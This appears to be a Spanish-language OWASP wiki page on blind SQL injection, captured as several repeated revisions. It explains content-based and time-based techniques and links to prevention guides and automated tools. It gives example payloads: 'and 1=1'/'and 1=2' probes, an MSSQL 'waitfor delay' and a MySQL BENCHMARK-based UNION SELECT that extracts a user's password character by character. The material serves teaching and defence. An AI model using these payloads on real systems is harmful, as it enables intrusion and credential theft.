Si la primera letra del nombre de la primera BBDD es una “B”, esperar 10 segundos, etc…

Así con cada letra, si la respuesta tarda diez segundos es que es la letra por la que preguntamos si no es así continuamos con la siguiente.
<h3>EJEMPLOS</h3>
Microsoft SQL Server
<pre>http://www.site.com/vulnerable.php?id=1′ waitfor delay ’00:00:10′–</pre>
MySQL
<pre>SELECT IF(expression, true, false)</pre>
Usando alguna operación que tome un tiempo considerable en realizarse por ejemplo BENCHMARK(), esto causará un retardo en la respuesta si la consulta es “Verdadera”
<pre>BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’))</pre>
- ejecutará la función ENCODE 5000000 veces.

Dependiendo de la carga y el rendimiento del servidor de base de datos, esto debería de tomar solo un momento para terminar. Lo importante es, desde el punto de vista del atacante, especificar un número de repeticiones lo suficientemente alto como para afectar al tiempo de respuesta de manera notable.

Ejemplo de la combinación de ambas consultas:
<pre>1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’)),null) FROM users WHERE user_id = 1;</pre>
Si la base de datos toma un tiempo en responder, nosotors podemos deducir que el primer carácter del password del usuario con el “user_id=1″ sea “2″
<pre>(CHAR(50) == ’2′)</pre>
Usando este metodo para el resto de carácteres, es posible enumerar contraseñas enteras almacenadas en la BBDD. Este metodo traba incluso cuando el atacante inyecta consultas SQL y el contenido de la página vulnerable no cambia.

Obviamente, en este ejemplo, los nombres de las tablas y el número de columnas fue especificado. Sin embargo, es posible adivinarlos también o probar con un metodo de ensayo y error.

Las bases de datos distintaas de MySQL tambien tienen funciones basadas en tiempo que podrían ser usas para ataques basados en tiempo:

MS SQL ‘WAIT FOR DELAY ’0:0:10
PostgreSQL – pg_sleep()

==Related [[Threat Agents]]==
Same as for [[SQL Injection]]

==Ataques Relacionados [[Attacks]]==
* [[Blind_XPath_Injection]]
* [[SQL_Injection]]
* [[XPATH_Injection]]
* [[LDAP_injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Relacionadas [[Vulnerabilities]]==
* [[Injection_problem]]

==Relacionados [[Controls]]==
* [[:Category:Input Validation]]

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.
 See the OWASP [[SQL Injection Prevention Cheat Sheet]].

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.

==Referencias==
* http://www.cgisecurity.com/questions/blindsql.shtml
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* http://www.securitydocs.com/library/2651
* http://seclists.org/bugtraq/2005/Feb/0288.html
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

'''Recursos Online'''
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
* http://www.imperva.com/resources/whitepapers.asp?t=ADC
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]

'''Herramientas'''
* [http://www.sqlpowerinjector.com/ SQL Power Injector]
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl
* [http://sqlmap.org/ sqlmap, automatic SQL injection tool] in Python
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

[[Category:Injection]]
[[Category: Attack]]

Inyección SQL Ciega

2015-07-29T23:49:55Z

AcE: /* Threat Modeling */

{{Template:Attack}}
[[Category:OWASP ASDR Project]]
[[Category:Security Focus Area]]
__NOTOC__
 

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto).

Sentencias condicionales con el tipo “Or 1=1″ o “having 1=1″ ofrecen respuestas siempre correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como formas de comprobación. El problema para la seguridad de la página radica en que esta técnica es utilizada en combinación con diccionarios o fuerza bruta para la búsqueda, carácter por carácter, de una contraseña, un nombre de usuario, un número de teléfono o cualquier otra información que albergue la base de datos atacada; para ello se utiliza código SQL específico que “va probando” cada carácter consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que una contraseña comienza por “F…”, luego continúa con “.i…”, y luego “..r…”, etc (acumula Fir…), hasta dar con la palabra completa.

Existen programas que automatizan este proceso de “tanteos” letra por letra en el resultado de la consulta SQL, que un intruso podría enviar inyectado.

==Modelando Amenazas==
Igual que [[SQL Injection]]

==Risk Factors==
Same as for [[SQL Injection]]

==Ejemplos ==
Un atacante puede verificar si una solicitud enviada regresó verdadero o falso de varias formas:

===Basado en el contenido===
El uso de una simple página, que muestra un artículo con ID dado como parámetro, el atacante puede realizar un par de pruebas sencillas para determinar si la página es vulnerable a ataques de inyección SQL.

URL de ejemplo:
<pre>http://newspaper.com/items.php?id=2
</pre>
envía la siguiente consulta a la base de datos
<pre>SELECT title, description, body FROM items WHERE ID = 2</pre>
el atacante puede entonces intentar que devuelva ‘falso’:
<pre>http://newspaper.com/items.php?id=2 and 1=2</pre>
ahora la consulta SQL quedaría tal que así:
<pre>SELECT title, description, body FROM items WHERE ID = 2 and 1=2</pre>
Si la aplicación web es vulnerable a SQL Injection, entonces es proble que no devuelva nada. Para asegurarse, el atacante injectará una consulta que devuelva ‘verdadero’:
<pre>http://newspaper.com/items.php?id=2 and 1=1</pre>
Si el contenido de la pagina que devuelve ‘verdadero’ difiere de la página que devolvió ‘falso’, entonces el atacante es capaz de distinguir cuando la consulta ejecutada es verdadera o falsa.

Una vez que esto ha sido verificado, la única limitación son los privilegios puesto por el administrador de la BBDD, diferente sintaxis sql y la imaginación del atacante.

===Basada en tiempo===

Este tipo de inyección SQL ciega se basa en pausar la BBDD por un tiempo especificado, para que posteriormente devuelva los resultados, indicando que la consulta triunfo
Usando este metodo, un atacante enumera cada letra de la porción de datos que desea leer usando la siguiente lógica:

Si la primera letra del nombre de la primera BBDD es una “A”, esperar 10 segundos.

Si la primera letra del nombre de la primera BBDD es una “B”, esperar 10 segundos, etc…

Así con cada letra, si la respuesta tarda diez segundos es que es la letra por la que preguntamos si no es así continuamos con la siguiente.
<h3>EJEMPLOS</h3>
Microsoft SQL Server
<pre>http://www.site.com/vulnerable.php?id=1′ waitfor delay ’00:00:10′–</pre>
MySQL
<pre>SELECT IF(expression, true, false)</pre>
Usando alguna operación que tome un tiempo considerable en realizarse por ejemplo BENCHMARK(), esto causará un retardo en la respuesta si la consulta es “Verdadera”
<pre>BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’))</pre>
- ejecutará la función ENCODE 5000000 veces.

Dependiendo de la carga y el rendimiento del servidor de base de datos, esto debería de tomar solo un momento para terminar. Lo importante es, desde el punto de vista del atacante, especificar un número de repeticiones lo suficientemente alto como para afectar al tiempo de respuesta de manera notable.

Ejemplo de la combinación de ambas consultas:
<pre>1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’)),null) FROM users WHERE user_id = 1;</pre>
Si la base de datos toma un tiempo en responder, nosotors podemos deducir que el primer carácter del password del usuario con el “user_id=1″ sea “2″
<pre>(CHAR(50) == ’2′)</pre>
Usando este metodo para el resto de carácteres, es posible enumerar contraseñas enteras almacenadas en la BBDD. Este metodo traba incluso cuando el atacante inyecta consultas SQL y el contenido de la página vulnerable no cambia.

Obviamente, en este ejemplo, los nombres de las tablas y el número de columnas fue especificado. Sin embargo, es posible adivinarlos también o probar con un metodo de ensayo y error.

Las bases de datos distintaas de MySQL tambien tienen funciones basadas en tiempo que podrían ser usas para ataques basados en tiempo:

MS SQL ‘WAIT FOR DELAY ’0:0:10
PostgreSQL – pg_sleep()

==Related [[Threat Agents]]==
Same as for [[SQL Injection]]

==Ataques Relacionados [[Attacks]]==
* [[Blind_XPath_Injection]]
* [[SQL_Injection]]
* [[XPATH_Injection]]
* [[LDAP_injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Relacionadas [[Vulnerabilities]]==
* [[Injection_problem]]

==Relacionados [[Controls]]==
* [[:Category:Input Validation]]

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.
 See the OWASP [[SQL Injection Prevention Cheat Sheet]].

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.

==Referencias==
* http://www.cgisecurity.com/questions/blindsql.shtml
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* http://www.securitydocs.com/library/2651
* http://seclists.org/bugtraq/2005/Feb/0288.html
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

'''Recursos Online'''
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
* http://www.imperva.com/resources/whitepapers.asp?t=ADC
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]

'''Herramientas'''
* [http://www.sqlpowerinjector.com/ SQL Power Injector]
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl
* [http://sqlmap.org/ sqlmap, automatic SQL injection tool] in Python
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

[[Category:Injection]]
[[Category: Attack]]

Inyección SQL Ciega

2015-07-29T23:48:46Z

AcE: Created page with "{{Template:Attack}} Category:OWASP ASDR Project Category:Security Focus Area __NOTOC__ Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONY..."

{{Template:Attack}}
[[Category:OWASP ASDR Project]]
[[Category:Security Focus Area]]
__NOTOC__
 

Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}'''

==Descripción==
Ataque a ciegas por inyección SQL, en inglés, Blind SQL injection, es una técnica de ataque que utiliza la inyección SQL. Se evidencia cuando en una página web, por una falla de seguridad, no se muestran mensajes de error al no producirse resultados correctos ante una consulta a la base de datos, mostrándose siempre el mismo contenido (es decir, solo hay respuesta si el resultado es correcto).

Sentencias condicionales con el tipo “Or 1=1″ o “having 1=1″ ofrecen respuestas siempre correctas (true o verdadero) por lo cual suelen ser usadas por los programadores como formas de comprobación. El problema para la seguridad de la página radica en que esta técnica es utilizada en combinación con diccionarios o fuerza bruta para la búsqueda, carácter por carácter, de una contraseña, un nombre de usuario, un número de teléfono o cualquier otra información que albergue la base de datos atacada; para ello se utiliza código SQL específico que “va probando” cada carácter consiguiendo un resultado positivo acumulable cuando hay una coincidencia. De esta manera se puede saber, por ejemplo, que una contraseña comienza por “F…”, luego continúa con “.i…”, y luego “..r…”, etc (acumula Fir…), hasta dar con la palabra completa.

Existen programas que automatizan este proceso de “tanteos” letra por letra en el resultado de la consulta SQL, que un intruso podría enviar inyectado.

==Threat Modeling==
Same as for [[SQL Injection]]

==Risk Factors==
Same as for [[SQL Injection]]

==Ejemplos ==
Un atacante puede verificar si una solicitud enviada regresó verdadero o falso de varias formas:

===Basado en el contenido===
El uso de una simple página, que muestra un artículo con ID dado como parámetro, el atacante puede realizar un par de pruebas sencillas para determinar si la página es vulnerable a ataques de inyección SQL.

URL de ejemplo:
<pre>http://newspaper.com/items.php?id=2
</pre>
envía la siguiente consulta a la base de datos
<pre>SELECT title, description, body FROM items WHERE ID = 2</pre>
el atacante puede entonces intentar que devuelva ‘falso’:
<pre>http://newspaper.com/items.php?id=2 and 1=2</pre>
ahora la consulta SQL quedaría tal que así:
<pre>SELECT title, description, body FROM items WHERE ID = 2 and 1=2</pre>
Si la aplicación web es vulnerable a SQL Injection, entonces es proble que no devuelva nada. Para asegurarse, el atacante injectará una consulta que devuelva ‘verdadero’:
<pre>http://newspaper.com/items.php?id=2 and 1=1</pre>
Si el contenido de la pagina que devuelve ‘verdadero’ difiere de la página que devolvió ‘falso’, entonces el atacante es capaz de distinguir cuando la consulta ejecutada es verdadera o falsa.

Una vez que esto ha sido verificado, la única limitación son los privilegios puesto por el administrador de la BBDD, diferente sintaxis sql y la imaginación del atacante.

===Basada en tiempo===

Este tipo de inyección SQL ciega se basa en pausar la BBDD por un tiempo especificado, para que posteriormente devuelva los resultados, indicando que la consulta triunfo
Usando este metodo, un atacante enumera cada letra de la porción de datos que desea leer usando la siguiente lógica:

Si la primera letra del nombre de la primera BBDD es una “A”, esperar 10 segundos.

Si la primera letra del nombre de la primera BBDD es una “B”, esperar 10 segundos, etc…

Así con cada letra, si la respuesta tarda diez segundos es que es la letra por la que preguntamos si no es así continuamos con la siguiente.
<h3>EJEMPLOS</h3>
Microsoft SQL Server
<pre>http://www.site.com/vulnerable.php?id=1′ waitfor delay ’00:00:10′–</pre>
MySQL
<pre>SELECT IF(expression, true, false)</pre>
Usando alguna operación que tome un tiempo considerable en realizarse por ejemplo BENCHMARK(), esto causará un retardo en la respuesta si la consulta es “Verdadera”
<pre>BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’))</pre>
- ejecutará la función ENCODE 5000000 veces.

Dependiendo de la carga y el rendimiento del servidor de base de datos, esto debería de tomar solo un momento para terminar. Lo importante es, desde el punto de vista del atacante, especificar un número de repeticiones lo suficientemente alto como para afectar al tiempo de respuesta de manera notable.

Ejemplo de la combinación de ambas consultas:
<pre>1 UNION SELECT IF(SUBSTRING(user_password,1,1) = CHAR(50),BENCHMARK(5000000,ENCODE(‘MSG’,'by 5 seconds’)),null) FROM users WHERE user_id = 1;</pre>
Si la base de datos toma un tiempo en responder, nosotors podemos deducir que el primer carácter del password del usuario con el “user_id=1″ sea “2″
<pre>(CHAR(50) == ’2′)</pre>
Usando este metodo para el resto de carácteres, es posible enumerar contraseñas enteras almacenadas en la BBDD. Este metodo traba incluso cuando el atacante inyecta consultas SQL y el contenido de la página vulnerable no cambia.

Obviamente, en este ejemplo, los nombres de las tablas y el número de columnas fue especificado. Sin embargo, es posible adivinarlos también o probar con un metodo de ensayo y error.

Las bases de datos distintaas de MySQL tambien tienen funciones basadas en tiempo que podrían ser usas para ataques basados en tiempo:

MS SQL ‘WAIT FOR DELAY ’0:0:10
PostgreSQL – pg_sleep()

==Related [[Threat Agents]]==
Same as for [[SQL Injection]]

==Ataques Relacionados [[Attacks]]==
* [[Blind_XPath_Injection]]
* [[SQL_Injection]]
* [[XPATH_Injection]]
* [[LDAP_injection]]
* [[Server-Side_Includes_%28SSI%29_Injection]]

==Relacionadas [[Vulnerabilities]]==
* [[Injection_problem]]

==Relacionados [[Controls]]==
* [[:Category:Input Validation]]

See the [[:Category:OWASP Guide Project|OWASP Development Guide]] article on how to [[Guide to SQL Injection | Avoid SQL Injection]] Vulnerabilities.
 See the OWASP [[SQL Injection Prevention Cheat Sheet]].

See the [[:Category:OWASP Code Review Project|OWASP Code Review Guide]] article on how to [[Reviewing Code for SQL Injection|Review Code for SQL Injection]] Vulnerabilities.

See the [[:Category:OWASP Testing Project|OWASP Testing Guide]] article on how to [[Testing for SQL Injection (OWASP-DV-005)|Test for SQL Injection]] Vulnerabilities.

==Referencias==
* http://www.cgisecurity.com/questions/blindsql.shtml
* http://www.imperva.com/application_defense_center/white_papers/blind_sql_server_injection.html
* http://www.securitydocs.com/library/2651
* http://seclists.org/bugtraq/2005/Feb/0288.html
* http://ferruh.mavituna.com/makale/sql-injection-cheatsheet/

'''Recursos Online'''
* [http://www.nccgroup.com/Libraries/Document_Downloads/more__Advanced_SQL_Injection.sflb.ashx more Advanced SQL Injection] - by NGS
* [http://www.blackhat.com/presentations/bh-usa-04/bh-us-04-hotchkies/bh-us-04-hotchkies.pdf Blind SQL Injection Automation Techniques] - Black Hat Pdf
* [http://seclists.org/lists/bugtraq/2005/Feb/0288.html Blind Sql-Injection in MySQL Databases]
* [http://www.cgisecurity.com/questions/blindsql.shtml Cgisecurity.com: What is Blind SQL Injection?]
* Kevin Spett from SPI Dynamics: http://www.net-security.org/dl/articles/Blind_SQLInjection.pdf
* http://www.imperva.com/resources/whitepapers.asp?t=ADC
* [https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt Advanced SQL Injection]

'''Herramientas'''
* [http://www.sqlpowerinjector.com/ SQL Power Injector]
* [http://www.0x90.org/releases/absinthe/ Absinthe :: Automated Blind SQL Injection] // ver1.3.1
* [http://www.securiteam.com/tools/5IP0L20I0E.html SQLBrute - Multi Threaded Blind SQL Injection Bruteforcer] in Python
* [[:Category:OWASP_SQLiX_Project|SQLiX - SQL Injection Scanner]] in Perl
* [http://sqlmap.org/ sqlmap, automatic SQL injection tool] in Python
* [https://code.google.com/p/bsqlbf-v2/ bsqlbf, a blind SQL injection tool] in Perl

[[Category:Injection]]
[[Category: Attack]]